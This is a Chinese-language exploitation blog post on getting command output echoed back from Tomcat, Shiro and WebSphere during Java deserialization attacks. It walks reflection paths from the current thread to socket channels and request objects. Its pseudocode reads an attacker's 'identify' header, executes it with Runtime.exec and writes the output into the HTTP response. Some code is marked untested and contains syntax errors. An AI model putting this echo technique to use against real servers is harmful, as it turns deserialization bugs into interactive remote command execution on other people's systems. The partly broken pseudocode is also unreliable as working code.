0%

Tomcat通用回显 & Shiro 回显利用

中间件context回显方式

1
2
3
4
5
6
7
8
# Weblogic回显
1. Thread -> getCurrentWork --> context
2. Thread --> getCurrentWork --> connectionHandler --> context
# Spring Boot回显
1. org.springframework.web.context.request.RequestContextHolder
2. org.springframework.webflow.context.ExternalContextHolder
# tomcat回显
1. Linux平台下,利用文件描述符回显

reference:00theway

回显研究

1.Get tomcat Channel

从Thread.currentThread()出发,发现当前线程有关FD描述符的路径:

1
2
3
Thread-->target-->selector[SelectorImpl]-->fdMap-->key-value-->SocketChannel

[SelectorImpl针对不同平台有不同实现:EpollSelectorImpl(linux)、WindowsSelectorImpl(windows)、KQueueSelectorImpl(MacOSX)]

通过这种方式可以跨平台对SocketChannel进行写入操作,达到回显的效果。
缺点:对http的所有连接都会回写,无法筛选当前请求的唯一连接。

伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
Thread[] threads = Thread.currentThread().getThreadGroup();
Field Ttarget = Thread.class.getDeclaredField("target");
for(Thread t:threads){
//select http
NioEndpoint.Poller poller = (NioEndpoint.Poller)Ttarget.get(t);
Object selector = poller.getSelector();
HashMap<Integer, Object> fdMapValue = selector.getClass().getDeclaredField("fdMap").get(selector);
for(Object o :fdMapValue.values()){
SelectionKeyImpl selectionKeyImpl = (SelectionKeyImpl) = o.getClass().getDeclaredField("ski").get(o);
SocketChannel selChImpl = (SocketChannel) selectionKeyImpl.channel();
selChImpl.write(ByteBuffer.wrap("hello\n".getBytes()));
}
}

效果

Tips

1
2
3
4
5
6
在Tomcat中,Connector作为桥梁连接Server和Engine,Connector在接受客户端的请求后,把请求委托给Engine容器去处理。
而Connector的内部使用Endpoint进行处理,根据Tomcat版本不同有不同的Endpoint实现方式,包括:JIOEndpoint、AprEndpoint、NioEndpoint 3种

如上面Thread的target对象就是NioEndpoint类型。
在tomcat8.0之后采用NioEndpoint实现,而tomcat7采用JIOEndpoint实现。因此,上面的利用方式只适用于tomcat8.0之后的版本
有兴趣的师傅可以通过这种思路尝试一下其他的版本

2.Get Tomcat Request

从Thread.currentThread()出发,发现线程有关RequestInfo的路径:

1
2
3
Thread-->target-->this$0-->handler-->global-->processors-->0[RequestInfo]-->req

目前测试tomcat6.*、tomcat7.*、tomcat8.*均存在该路径,不过代码调用实现稍稍不同。

相比于Tomcat Channel回显,这种方式可以获取到Request信息,可以通过header中的字段进行筛选,达到一对一回写的效果

伪代码:

1
2
3
4
5
6
7
8
for (Thread t : (Thread[])(Thread.currentThread().getThreadGroup().getFieldInvoke("threads"))){
//http select
ArrayList<?> rinfs= (ArrayList<?>)t.getFieldInvoke("target").getFieldInvoke("this$0").getFieldInvoke("handler").getFieldInvoke("global").getFieldInvoke("processors");
Request req = (Request)(rinfs.get(0).getFieldInvoke("req"));
String cmd = req.getHeader("identify");
ByteChunk byteChunk = new ByteChunk(Runtime.getRuntime().exec(cmd))
req.getResponse().doWrite(byteChunk);
}

效果

孵化 Shiro回显

利用“Get Tomcat Request”思路,经过极致压缩,基本实现通版本的Shiro回显效果。

彩蛋 websphere回显

尚未实例测试

1
2
3
4
5
6
Thread t = Thread.currentThread();
Field wsThreadLocals = t.getClass().getDeclaredField("wsThreadLocals");
wsThreadLocals.setAccessible(true);
Object[] obs = (Object[])wsThreadLocals.get(t);
WebContainerRequestState wr = (WebContainerRequestState)obs[36];
wr.getCurrentThreadsIExtendedRequest().getRequestURL();